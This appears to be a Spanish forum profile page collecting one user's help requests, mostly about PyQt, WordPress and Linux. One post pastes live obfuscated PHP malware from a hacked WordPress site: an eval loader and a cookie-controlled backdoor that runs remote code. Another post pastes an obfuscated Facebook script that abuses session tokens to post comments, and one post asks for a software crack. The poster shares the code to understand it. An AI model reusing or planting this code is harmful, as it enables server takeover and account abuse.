Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - fortil

#1
Hola a todos

Antes que nada, no sé mucho del tema y por eso acudo a ustedes.

PLC es una tecnología que extiende el WiFi por medio de la red eléctrica, me di cuenta hace poco de ello pero desde ese momento me ha quedado la duda y no he encontrado nada al respecto y es ¿Si ya se pueda mandar internet por medio de la línea eléctrica de la casa porque no se puede enviar por la de alta tensión?, así se llevaría este a millones de lugares dónde las empresas de internet no han querido llegar.

Gracias
#2
Hola a todos

Resulta que tengo un PC ASUS K501U (12 GB ram y Core i7), he intentado por todos los medios emular iOS y solo he tenido éxito con una máquina que encontré con la versión de "El Capitán" pero es demasiado lenta.

Muchas gracias
#3
Hola a todos y todas

Me gustaría saber que hacen estos códigos que he encontrado en un servidor que atacaron (esta en wordpress el sitio que atacaron).
este es uno (estaba en muchas cabeceras de archivos del template)
Código: php

<?php /*versio:3.02*/ $GLOBALS["idyirx"]="aW5pX3NldAtWYWxsb3dfdXJsX2ZvcGVuWBZGlzcGxheV9lcnJvcnMfZUUZmVkb3IvbWF4cGFja18zmpAOMy4wMgKOdGhhaDFOaWV0aGFpMnphaDZBaHISnraHR0cDovLwpSFRUUFMcIDPb2ZmPaHR0cHM6Ly8SFRUUF9IT1NUmjGzudW5pb24ydcnHgasmSc2VsZWN0HLfLWUkVRVUVTVF9VUkkXdxU0NSSVBUX05BTUUyCUVVFUllfU1RSSU5HBTUPwTfOZGV0ZXJtaW5hdG9yCiLgjpQLmxvZwtVAxSFRUUF9ZX0FVVEgMkWaiYmFzZTY0X2RlY29kZQNdmVyc2lvNfQvZLQFmLXBocAbXSFRUUF9FWEVDUEhQpb3V0udZWb2sgUkNtSFRUUF9VU0VSX0FHRU5UXKnLASqZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAEZXyYQYmxhYnVlbC5uZXQGSvZmFzdGFkZHouY29thkvkDL3czLnBocD91PQtFJms9ONdJJnQ9cGhwJnA9vgJnY9VmZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYzdHZtMGdRL3lvYlpGVllVR3d3WUxzNVRvbDY3alZTTDRsYzU2U3FGeUVNaTAzTUt6ejhpdkxkYjRaZERFN3Nxbjhaeit6T2UzNHpHL2hFdlBDb0g4VFVFd1dQRmpTTGd0Z3Bra3pvZGw5SUFHeS9qTjBpU0dLYmJvTzh5RVUveitONWtWQ3hML1ZsdGQvRmMxZEJITmc1TFJxbUtabXkxdS9LUk8xZW5tQ3JBMGxUWlhVTUIvcHc0SlhVV29pOWZJcm1nVmVHUzYvY2loMS92ZGl2UFpsODZMaGV0Tm9teENLM0Q5KytkY2tMYVNoUjRHWkpFVVJVTExLU2dyeU1GbVVXRTU4bWZpM2lqUlpudmR1dW5IeitOQy8zWXVkcGtmZ3IwTklKL2FoTWN2Q280eTJvdS9GQnVPQ1dXU2hja2c3ZEJNa3lCUXJuS1lJTmZoWEF3akJWUGk3QVI4RUp3MlJqd3lYYlQxSWFDMTFpZ1JSVlFKdTVZVmQrRUZJOGJidEpYTkFZd2lvc2l5TDkxT3NKUkNIY0h2eGlCaWxFK0xDeC9JVXJWRzdRTUtlblVzTk54SXgwY2k5NFRqQTRWNXdxd3RWT0hCYnpjbjdrQStRbFNkR0x6aTdjN2xlckl5YmRVaGRZVi95aXlNWEs1UFBEOU52ZC9jeUdINW44aHUxdWlhYWZsL04xY3YzWFpDb1Qzd0hmZm5seU9wazlURzluMCt2YjcxL3dCay81K1F1ZjcyNXZKNTluczV0L0puY1BNNW1ZR0lobkwxa1VxeW84ek8zNkhvckNqTnR1bU9TMFJjV0EweWd0ZGlLL0RHRnV4QWpDNVd1ZFhVNnRNNFdseW1vUTFmbDU0cTZ3THBxcUcvV2g4dEprRjY4b2ZNVHUxaWwyTWpHNHpycCtVVXd3WCsrZUlxYU9ISGNFbU8ybkpSWkIzVExDMzVNWmVlRlplQlVVVEVPK0lsOW5zL3VlcXZTQjhGLzJYd3cvWDVPOCtFVGc0NFdiOUZveHFub3BnL1hlQlJYM1grL3R1KytLMEJNVS9QeDNNdjErYzNkN1F1bERUck9QMXd1bzZVK2duTjJ2NU5VeU4wdW9mZkhpVEo5enA3cmt3d2NpdnVscjhyRmgvMEcwYmhNUUJRTUw3ZFF5Uk5WR1ZhOWMrVHlSQnhqb3JJSjFPY2RHcHRzMFREd3FDZ2Y3NUZva25DdGpoQ3grK21mL3NjR1ZJRHB4ajUycmRMNGVRVTN1T3p0djQ3akJjK1NLbmJBTWRvczVuTi9tOFc3bmdoUFVYU1pFK0dFTENtY3F3aWY0Wm55ZXBHUHdlbkpBcExPTmRxR2ZpcDFGNEdYN2JiY0JsNDc5ZlRLRkRQM2tyRWU4M1hIbmJoNFcxZ0dDdGFFMDZDTkdZemVVRzBoS3c5TjFhVENVcTBZSmswVWVKQTFyTkpRMFdSc2lpeFdMMWNKOFZSM2dTR0NGRytSVi9HcGpHc1c2cFBaTmVkaDlyRWZNMWZ0RElFdlQ4UXk1c0VoRDFhWGhVTllyZ0h1cmZhUktwaUdyS3M4QTV5dFdYbVJGQW9oTXMxTjZocEpxd0JqVHVwaGVQOG1vNHk2aDUyenNIU2NuUENQV24wMjYwR0NRbVNaUWJJd29OMk5OSDBnREZjeEdiRUFaUDdtQXg2TW9RY05Ea0JvY1B5Y09VcVNhdWp6NmxUaFZIVXZta01sN0JlUEVpN054MTBDekpxc0dCaDdSNU4ySjhSZ3lZMVFuS21SOGQwRHRRKzdVVVhVQ2szdzJ4Mk5EVW5WZFZzMnp1dFNoS2cwR1RKZlNTckVHNVRIUVphMExFK1NVQllNKzJEaXVKRisrYWJRczJ1eUwvZlA4S1UwREVVdkU5MExmelN3dnlHSUhRTVMydjl4OG05aDJWL25yWmdvVDRXNzZBK1RmWDArdjRSUHFlYk53OWlXQytYV1dPVHVSQ0QyUHJudjVNb0wyRm5wRmxQWVVIOGIxeHpJT3RnM3A1dk9rcGpUMkNyTi83b1hIWThya1FKcmMvdHMrVWY4RnE0NG8vRUtsQjZVZk5vd1M0TWZ4YkNEYjRKc0FTeFIzVlJIWTBjUGZUZnFSYnhnOWRpay93M1doN2lud2pycUFCd1Q3WUxWS3kzRE55LytDejBGT3hGQ3pUOFU2R1ZtMkgrWDJKZ3NLWnc3bzM3N0pqTUd0Z3hFdnlSejByMm9jcldjcU8zWloxWGpWTVdFelFuRWNBT3k4RUxiSnRyWlFUZEw2S2haTHZXZldMZGVKMG4yMFgxZzFUSndzdFpGa21xeGZ3RTRuek9KMFlWMUZubEhyVmZoVTVQaXBjTEJFYkZ5V2k4SmZXbTlxVWprSUg1aVNwaHRRNWdvWGZQbk9lRldGaGpXNDlWd2dpdDdNM2FYN2pBRmpOS1dGRjlDZVdvWGJaMkJWSFErZ2ZWamJXUlpYamQ1dHZMek1nOVowZ0E3R0RSMkhLQnRRZkE0ZGo3UEduN0dralUyQUtybWVKa29MTlZSd2RsZzV5NlpRaXpjRVBCeWFZSE85N216ekZZd3RpMXQweWduTkJPU293UVVlSDNUdGhQVzkzelJYVXdHZ1RBMUdpVXhhQ1FlZllSb011cXhVdGtFaHNxcnBQRDI1MnlXdVdsOXdQNFVrT0Y0VVArUHo0T3JYODBVYlFoSWhrREJuanlaTXZYbzBwUXBPZ1c2dGJkQUE2dGNZeVFZTXZLb0p0NnNrU2VNM000aFpJaCs0RjVaVkdZbFpkUjFZTnJmVjJzbFd6cmNWTTRhQ0dXUEZ0TU5nYU5KQWcrY2JocUV6TDUzVTI2T0lFbHZPUmFOUEZaWnVTTWFZTlF0dWhkanEwT2ZNQUZqU2NZbnJ3akpUNEdaVEdjci9NUG53cDFvT0Q5c2F1MWh0R1ZYb3JSbHNnRWZRVUlNS1BxVnF4NnB5S0pMU1hZcE53d0J1dW1IcFVUdUpYZHFpdDhDZ1RpODgxRkJQOVg2aXl6UXBEc09nVmN3dzRtRUpBVS9ibWFyU2JHSk4xczEzYkFhSzVKRFRDaVFuVlh0V3RhYVQxaVFjR05BYUp2U3FEbjNERGphSjA0MFJXNFZxL0dqbGRDanB1b2s3emZ0MjAwZVNBZE1UcjdFdXhYZHRzY3NUWElmZlBJcFpCR0R4YmQ3RmwrK2p5MUNhdjNQZVFaZ3hySGE5Q3NMNFp2WS9hMGcyQXc9PSIpKSk7XB";        if (!function_exists('fssnbtoe')){function fssnbtoe($a, $b){$c=$GLOBALS['idyirx'];$d=pack('H*','62617365'.'36345f6465636f6465'); return $d(substr($c, $a, $b));};eval(fssnbtoe(563,3304));};?>


este era un archivo completo llamado jsm9f.php:
Código: php

<?php
function sdec($input) {
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
do {
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr((int) $chr1);
if ($enc3 != 64) {
$output = $output . chr((int) $chr2);
}
if ($enc4 != 64) {
$output = $output . chr((int) $chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
} while ($i < strlen($input));
return $output;
}

if(substr(md5(reset($_COOKIE)), 0, 12)=='bc446faa565e' && count($_COOKIE)>3) {
$k = substr(md5(reset($_COOKIE), true), 0, 6).substr(md5(reset($_COOKIE), true), -6);
$ko = substr(md5(reset($_COOKIE)), -12);
$lmf = str_rot13(str_replace('c', '', 'pecrncgr_cshcacpgcvbac'));
$vlm = $lmf('$t,$k','$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;');
ob_start();
array_diff_ukey(@array('1'=>1), @array('2'=>2), $lmf('', @gzuncompress(@$vlm(@sdec(preg_replace(array("/_/","/-/"),array("/","+"),join(array_slice($_COOKIE,count($_COOKIE)-3)))),$k))));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode($vlm(gzcompress($o),$k));
print("\x3c$ko\x3e$d\x3c\x2f$ko\x3e");
}



gracias
#4
Hola resulta que me dieron un script que sirve para algunas cosas (publicar en fb) pero este viene con su malicia pero está codificado completamente creo que ascii y hex, pero el problema es que decodificarlo ha sido todo un reto y quisiera saber si hay alguna manera de descodificarlo.

esto es parte de lo que me han pasado.
Código: php

var _0x2e14=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x32\x34\x30\x33\x30\x30\x37\x34\x36\x31\x34\x38\x39\x36\x30","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x61\x72\x6B\x61\x64\x61\x73\x6C\x61\x72\x20\x3D\x20","\x66\x6F\x72\x20\x28\x3B\x3B\x29\x3B","","\x72\x65\x70\x6C\x61\x63\x65","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x3B","\x6C\x65\x6E\x67\x74\x68","\x65\x6E\x74\x72\x69\x65\x73","\x70\x61\x79\x6C\x6F\x61\x64","\x72\x6F\x75\x6E\x64","\x20\x40\x5B","\x75\x69\x64","\x3A","\x74\x65\x78\x74","\x5D","\x20","\x26\x66\x69\x6C\x74\x65\x72\x5B\x30\x5D\x3D\x75\x73\x65\x72","\x26\x6F\x70\x74\x69\x6F\x6E\x73\x5B\x30\x5D\x3D\x66\x72\x69\x65\x6E\x64\x73\x5F\x6F\x6E\x6C\x79","\x26\x6F\x70\x74\x69\x6F\x6E\x73\x5B\x31\x5D\x3D\x6E\x6D","\x26\x74\x6F\x6B\x65\x6E\x3D\x76\x37","\x26\x76\x69\x65\x77\x65\x72\x3D","\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x68\x74\x74\x70\x73\x3A\x2F\x2F","\x69\x6E\x64\x65\x78\x4F\x66","\x55\x52\x4C","\x47\x45\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x74\x79\x70\x65\x61\x68\x65\x61\x64\x2F\x66\x69\x72\x73\x74\x5F\x64\x65\x67\x72\x65\x65\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x6F\x70\x65\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x74\x79\x70\x65\x61\x68\x65\x61\x64\x2F\x66\x69\x72\x73\x74\x5F\x64\x65\x67\x72\x65\x65\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x73\x65\x6E\x64","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x26\x66\x74\x5F\x65\x6E\x74\x5F\x69\x64\x65\x6E\x74\x69\x66\x69\x65\x72\x3D","\x26\x63\x6F\x6D\x6D\x65\x6E\x74\x5F\x74\x65\x78\x74\x3D","\x26\x73\x6F\x75\x72\x63\x65\x3D\x32","\x26\x63\x6C\x69\x65\x6E\x74\x5F\x69\x64\x3D\x31\x33\x37\x37\x38\x37\x31\x37\x39\x37\x31\x33\x38\x3A\x31\x37\x30\x37\x30\x31\x38\x30\x39\x32","\x26\x72\x65\x70\x6C\x79\x5F\x66\x62\x69\x64","\x26\x70\x61\x72\x65\x6E\x74\x5F\x63\x6F\x6D\x6D\x65\x6E\x74\x5F\x69\x64","\x26\x72\x6F\x6F\x74\x69\x64\x3D\x75\x5F\x6A\x73\x6F\x6E\x70\x5F\x32\x5F\x33","\x26\x63\x6C\x70\x3D\x7B\x22\x63\x6C\x5F\x69\x6D\x70\x69\x64\x22\x3A\x22\x34\x35\x33\x35\x32\x34\x61\x30\x22\x2C\x22\x63\x6C\x65\x61\x72\x63\x6F\x75\x6E\x74\x65\x72\x22\x3A\x30\x2C\x22\x65\x6C\x65\x6D\x65\x6E\x74\x69\x64\x22\x3A\x22\x6A\x73\x5F\x35\x22\x2C\x22\x76\x65\x72\x73\x69\x6F\x6E\x22\x3A\x22\x78\x22\x2C\x22\x70\x61\x72\x65\x6E\x74\x5F\x66\x62\x69\x64\x22\x3A","\x7D","\x26\x61\x74\x74\x61\x63\x68\x65\x64\x5F\x73\x74\x69\x63\x6B\x65\x72\x5F\x66\x62\x69\x64\x3D\x30","\x26\x61\x74\x74\x61\x63\x68\x65\x64\x5F\x70\x68\x6F\x74\x6F\x5F\x66\x62\x69\x64\x3D\x30","\x26\x67\x69\x66\x74\x6F\x63\x63\x61\x73\x69\x6F\x6E","\x26\x66\x74\x5B\x74\x6E\x5D\x3D\x5B\x5D","\x26\x5F\x5F\x61\x3D\x31","\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x33\x35\x79\x6E\x78\x6C\x32\x75\x35\x46\x39\x37\x4B\x65\x70\x45\x73\x79\x6F","\x26\x5F\x5F\x72\x65\x71\x3D\x71","\x26\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x74\x74\x73\x74\x61\x6D\x70\x3D","\x50\x4F\x53\x54","\x2F\x61\x6A\x61\x78\x2F\x75\x66\x69\x2F\x61\x64\x64\x5F\x63\x6F\x6D\x6D\x65\x6E\x74\x2E\x70\x68\x70","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65"];

var _0xa22c=[_0x2e14[0],_0x2e14[1],_0x2e14[2],_0x2e14[3],_0x2e14[4],_0x2e14[5],_0x2e14[6],_0x2e14[7],_0x2e14[8],_0x2e14[9],_0x2e14[10],_0x2e14[11],_0x2e14[12],_0x2e14[13],_0x2e14[14],_0x2e14[15],_0x2e14[16],_0x2e14[17],_0x2e14[18],_0x2e14[19],_0x2e14[20],_0x2e14[21],_0x2e14[22],_0x2e14[23],_0x2e14[24],_0x2e14[25],_0x2e14[26],_0x2e14[27],_0x2e14[28],_0x2e14[29],_0x2e14[30],_0x2e14[31],_0x2e14[32],_0x2e14[33],_0x2e14[34],_0x2e14[35],_0x2e14[36],_0x2e14[37],_0x2e14[38],_0x2e14[39],_0x2e14[40],_0x2e14[41],_0x2e14[42],_0x2e14[43],_0x2e14[44],_0x2e14[45],_0x2e14[46],_0x2e14[47],_0x2e14[48],_0x2e14[49],_0x2e14[50],_0x2e14[51],_0x2e14[52],_0x2e14[53],_0x2e14[54],_0x2e14[55],_0x2e14[56],_0x2e14[57],_0x2e14[58],_0x2e14[59],_0x2e14[60],_0x2e14[61],_0x2e14[62],_0x2e14[63],_0x2e14[64]];


Malo el tipo, no? gracias
#5
Hola a todos

Resulta que buscando sobre software de emulación he encontrado algunos, pero incompletos, otros como BreadBoard son pagos (y no he encontrado el crack y/o serial para el modulo de virtualizar el arduino) y algunos como Proteus son un poco complejos en términos de electrónica para mi ya que no sé muy bien al respecto sobre circuitos y este corre a punta de estos...

Si alguien sabe alguno de estos (o tiene el BreadBoard crackeado) le agradecería el aporte...
#6
Hola a todos(as)

Pues como dice el asunto, alguien de pronto tiene un tutorial para crear extensiones en Mozilla Firefox, o cómo puede adentrarme en el tema, es que viendo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta creo que es un poco complejo y no hay elementos básicos...

Entonces, alguien me puede hacer el favor? gracias
#7
Hola a todos

Resulta que necesito saber si hay alguna manera de que al ingresar una USB esta sea formateada al instante, lo que pasa es que tengo que formatear muchas Memorias USB y pues me da lata tener que hacer tantos pasos.


Muchas gracias
#8
Hola

Pues resulta que me he montado una pagina (en wrodpress) en un servidor pero en una plantilla que he descargado no está completamente traducida y necesito encontrar esa palabra para traducirla, el problema está en que ese tema tiene muchos archivos y pues quisiera saber si puedo buscar una palabra de alguna manera en los archivos, así como se hace en linux.

muchas gracias
#9
Hola a todos(as)

Es que he visto que varios servidores tienen soporte Perl, Ruby, Python, Php, etc

Y me pregunto cómo puedo hacer para ejecutar funciones o scripts de python en ese servidor (antes de lanzarme a dañarlo :) ) he visto por ahí el framework Django, pero o soy muy bruto o no he querido en realidad aprender bien sobre este framework.

Lo que quiero realmente son dos cosas:
0) que me aclares un poco lo de python, porque uno en el pc puede ejecutar los .py pero necesita ciertas librerias, etc. en la web se puede escribir No tienes permitido ver los links. Registrarse o Entrar a mi cuenta? si es así porque no me ha dado? :D (me aparece error interno) o cómo diablos ejecuto archivos python.
1) si hay un IDE o algo parecido para programar web con python, haganme el favoor :D .
2) tutos para aprender a hacer webs o funciones o scripts que se utilicen en los servidores.

gracias
#10
Hola a todos(as)


me preguntaba si ¿es posible (creo que si) de controlar varios pcs de una lan al mismo tiempo? (win2 XP)
y de serlo, qué programa lo hace?

gracias
#11
Hola a todos(as)

Resulta que quiero poner un programa que hice (está en binario) al inicio de cualquiera de las secciones de usuarios de ubuntu.

Pero creo que para los binarios no sé si se pueda, además este necesita algunos permisos de root porque tiene funciones tales como shutdown por lo que me pide la contraseña de root.

Entonces hice un script (cc.sh) el cual lo he puesto en /etc/init.d/  le he dado permisos de ejecución (con root), luego lo pongo que se ejecute de último sudo update-rc.d No tienes permitido ver los links. Registrarse o Entrar a mi cuenta defaults 99 en la lista.

Pero al iniciar nunca se ejecuta el programa.

Este es mi script:
Código: bash

# !/bin/sh
### BEGIN INIT INFO
# Provides:          scriptname
# Required-Start:    $all
# Required-Stop:     $all
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start daemon at boot time
# Description:       Enable service provided by daemon.
### END INIT INFO

sleep 15
cd /home/ &&
./programa &&
pid=$! &&
wait $pid &&
sleep 1 &&
killall5

La verdad la parte de la cabecera no la entiendo bien, per según lo poco que entendí le puse $all al inicio y al final por si las moscas.

como ven el programa se encuentra en la carpeta Home, pero no pasa nada.

PD: ya he intentado poner también en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta[/], ponerle las lineas de ejecución del script, colocandolo en varios directorios (/etc/init.d /home, etc hasta colocando directamente el programa en esta parte, y nada.

gracias
#12
Hola a todos(as)

de nuevo yo :)

Resulta que un buen amigo me dijo que programara con Eclipse que ahí salia todo bien "bonito", pero resulta que he tratado de integrar PyQt4 y no he podido, he buscado también un plugin que supuestamente hay y tampoco lo encuentro, pero sé que si se puede pues está este vídeo:


El problema es que cuando sigo estos pasos (y muchos mas que he visto en internet) no me salen las opciones de PyQt4.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Les agradecería


-----------------------

Ya me funcionó, no sé como pts pero ya, le hice demasiadas cosas y ahora no sé como fue que funcionó.

si me ayudan igualmente gracias
#13
Hola a todos(as)

resulta que tengo el siguiente cronómetro creado en QTDesing (sencillo)

Código: python

from PyQt4 import QtCore, QtGui

try:
    _fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
    _fromUtf8 = lambda s: s

class Ui_cronometro(object):
    def setupUi(self, cronometro):
        cronometro.setObjectName(_fromUtf8("cronometro"))
        cronometro.resize(288, 57)
        cronometro.setWindowFlags(QtCore.Qt.FramelessWindowHint)
        self.gridLayoutWidget = QtGui.QWidget(cronometro)
        self.gridLayoutWidget.setGeometry(QtCore.QRect(10, 10, 272, 41))
        self.gridLayoutWidget.setObjectName(_fromUtf8("gridLayoutWidget"))
        self.gridLayout = QtGui.QGridLayout(self.gridLayoutWidget)
        self.gridLayout.setMargin(0)
        self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
        self.lcdNumber = QtGui.QLCDNumber(self.gridLayoutWidget)
        self.lcdNumber.setProperty("intValue", 0)
        self.lcdNumber.setObjectName(_fromUtf8("lcdNumber"))
        self.gridLayout.addWidget(self.lcdNumber, 0, 0, 1, 1)
        self.label = QtGui.QLabel(self.gridLayoutWidget)
        self.label.setObjectName(_fromUtf8("label"))
        self.gridLayout.addWidget(self.label, 0, 1, 1, 1)
        self.toolButton = QtGui.QToolButton(self.gridLayoutWidget)
        self.toolButton.setObjectName(_fromUtf8("toolButton"))
        self.gridLayout.addWidget(self.toolButton, 0, 2, 1, 1)

        self.retranslateUi(cronometro)
        QtCore.QMetaObject.connectSlotsByName(cronometro)
        QtCore.QObject.connect(self.toolButton, QtCore.SIGNAL(_fromUtf8("clicked()")), cronometro.close)

    def retranslateUi(self, cronometro):
        cronometro.setWindowTitle(QtGui.QApplication.translate("cronometro", "Sesion", None, QtGui.QApplication.UnicodeUTF8))
        self.label.setText(QtGui.QApplication.translate("cronometro", "min restantes", None, QtGui.QApplication.UnicodeUTF8))
        self.toolButton.setText(QtGui.QApplication.translate("cronometro", "Cerrar Sesion", None, QtGui.QApplication.UnicodeUTF8))


if __name__ == "__main__":
    import sys
    app = QtGui.QApplication(sys.argv)
    cronometro = QtGui.QWidget()
    ui = Ui_cronometro()
    ui.setupUi(cronometro)
    cronometro.show()
    sys.exit(app.exec_())



y lo llamo desde otro archivo que tiene mas cosas con una clase, la clase es esta (para no llenar esto de códigos)

Código: python

class Tiempo(QtGui.QDialog):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.timer = QtCore.QBasicTimer()
self.c = Ui_cronometro()
self.c.setupUi(self)
QtCore.QObject.connect(self.c.toolButton, QtCore.SIGNAL(_fromUtf8("clicked()")), self.quit1)
self.step = 90
self.h = int(self.step)/60
self.m = int(self.step)%60
self.codigo = None
self.doAction()

def doAction(self):
self.timer.start(60000,self)

def timerEvent(self, e):
vent = VentanaPrincipal()
if self.m > 0:
self.m -= 1
self.c.lcdNumber.display("%d:%d" % (self.h,self.m))
else:
self.m = 60
self.h -= 1
self.c.lcdNumber.display("%d:%d" % (self.h,self.m))

if self.step == 10:
vent.popup("Faltan "+str(self.step)+" minutos","le queda "+str(self.step)+"min de tiempo para estar en la sala, guarde todo ya que puede perder lo que ha hecho",1)
if self.step == 3:
vent.popup("Faltan "+str(self.step)+" minutos","le queda "+str(self.step)+"min de tiempo para estar en la sala, guarde todo ya que puede perder lo que ha hecho",3)
if self.step == 0:
self.quit1()
return

self.step = self.step - 1
#~ self.c.lcdNumber.display(self.step)

def quit1(self):
self.timer.stop()
........


Resulta que lo que quiero es que en el momento que se llame la función def quit1(self): esta actué igual que QtCore.QObject.connect(self.toolButton, QtCore.SIGNAL(_fromUtf8("clicked()")), cronometro.close) (como su función en el botón, pero sin tocarlo) he tratado de pasarle el mismo parámetro de cronometro.close en esa función pero no me va, también he tratado de pasar self.c.close e igual me sale error.

Lo que quiero es que este se cierre en el momento en que se acaba el tiempo.

MUCHAS GRACIAS
#14
Hola a todos(as)

Resulta que estoy tratando de hacer un contador que se muestre en formato hora, mi idea es no hacerlo tan complicado, pero como estoy trabajando en PyQT4 no sé si sea eso o porque se me han olvidado los bucles mas sencillos.

en fin

este es el código del programa.

Código: python

#!/usr/bin/python
#-- coding: utf-8 --

import sys
from PyQt4 import QtGui, QtCore

class Example(QtGui.QWidget):

def __init__(self):
super(Example, self).__init__()
self.initUI()

def initUI(self):

self.lcd = QtGui.QLCDNumber(self)
self.lcd.setGeometry(30, 40, 200, 25)

self.btn = QtGui.QPushButton('Start', self)
self.btn.move(40, 80)
self.btn.clicked.connect(self.doAction)

self.timer = QtCore.QBasicTimer()
self.step = 0

self.setGeometry(300, 300, 280, 170)
self.setWindowTitle('QtGui.QLCDNumber')
self.show()

def timerEvent(self, e):

h = 0
m = 0

if self.step < 100:
if self.step < 60:
self.step = self.step + 1
self.lcd.display("%d:%d:%d" % (h,m,self.step))
if self.step >= 60:
m += 1
self.step = 0
self.lcd.display("%d:%d:%d" % (h,m,self.step))
if m >= 60:
h += 1
m = 0
self.lcd.display("%d:%d:%d" % (h,m,self.step))

def doAction(self):

if self.timer.isActive():
self.timer.stop()
self.btn.setText('Start')
else:
self.timer.start(10, self)
self.btn.setText('Stop')

def main():

app = QtGui.QApplication(sys.argv)
ex = Example()
sys.exit(app.exec_())

if __name__ == '__main__':
main()


En realidad lo que he tratado de modificar por todos lados es esta pequeña pero tediosa parte
Código: python

def timerEvent(self, e):

h = 0
m = 0

if self.step < 100:
if self.step < 60:
self.step = self.step + 1
self.lcd.display("%d:%d:%d" % (h,m,self.step))
if self.step >= 60:
m += 1
self.step = 0
self.lcd.display("%d:%d:%d" % (h,m,self.step))
if m >= 60:
h += 1
m = 0
self.lcd.display("%d:%d:%d" % (h,m,self.step))

Ya que el contador comienza y cuando está en minuto 1, vuelve y se pone a 0, así esté bien el segundero

gracias
#15
Hola a todos(as)


He estado buscando un servidor noruego (o sueco) de varias formas (en ingles también y todo) pero siempre los que encuentro, así digan que son noruegos, veo la IP de la web y se encuentra alojado en EEUU.

¿Alguien me podría decir o ayudar al respecto?

gracias
#16
Hola a todos

Resulta que he tenido youtube muy lento últimamente (y mi conexión es buena) por lo que he buscado y me he encontré con este vídeo...


A mi me sirvió la primera parte, pero la segunda según los comentarios no sé si hacerla, alguno que sepa, qué hace esto y si será viable?


#17
Hola a todxs


Resulta que de un tiempo hacia acá, estoy en el computador cuando de repente la consola aparece medio se visualiza que se ejecuta un proceso y desaparece demasiado rápido para ver qué y cómo.

Alguien me puede ayudar, cómo puede resolver el problema o ver un registro de qué se ha ejecutado el cmd, o algo así?


gracias
#18
Hola a todos

Creo que entre tantas cosas que he instalado y visitado se me ha infectado el pc, la enfermedad es la siguiente:

- El PC inicia normalmente y se trabaja sin ningún problema.
- Después de un tiempo de trabajar en él comienza a gastar todos los recursos (o al menos eso parece) ya que se queda parado y nada funciona, no es en ningún caso en especial, simplemente es después de un tiempo de encendido.
- La única opción es cerrar la sección y luego apagarlo porque en el admin de tareas no se ve nada y a veces este también se bloquea.


¿Qué puedo hacer?

gracias
#19
Hola a todos


Resulta que tengo un problema, necesito hacer un programa el cual a partir de una matriz (de enteros) este acomode sus valores en orden descendente o ascendente, pero además tiene que contar todos los elementos de dicha matriz las veces que se repitan.
Es decir que se tiene que contar los elementos de la matriz y luego organizarlos.

ya pude organizar los elementos de la matriz, pero no he podido contarlos, esto es lo que tengo.

Código: java

        int i, j, n, m, v,s;
        String matrizt = "";
        s = Integer.parseInt(JOptionPane.showInputDialog("1. Orden desendente.\n2. Orden ascendente.\n "));
            for (i = 0 ; i < f ; ++i){
                for (j = 0 ; j < c; ++j){
                    if (s == 1) {
                        for (n = 0 ; n < f; ++n){
                            for (m = 0; m < c; ++m){
                                if(matri[i][j] > matri[n][m]){
                                    v = matri[i][j];
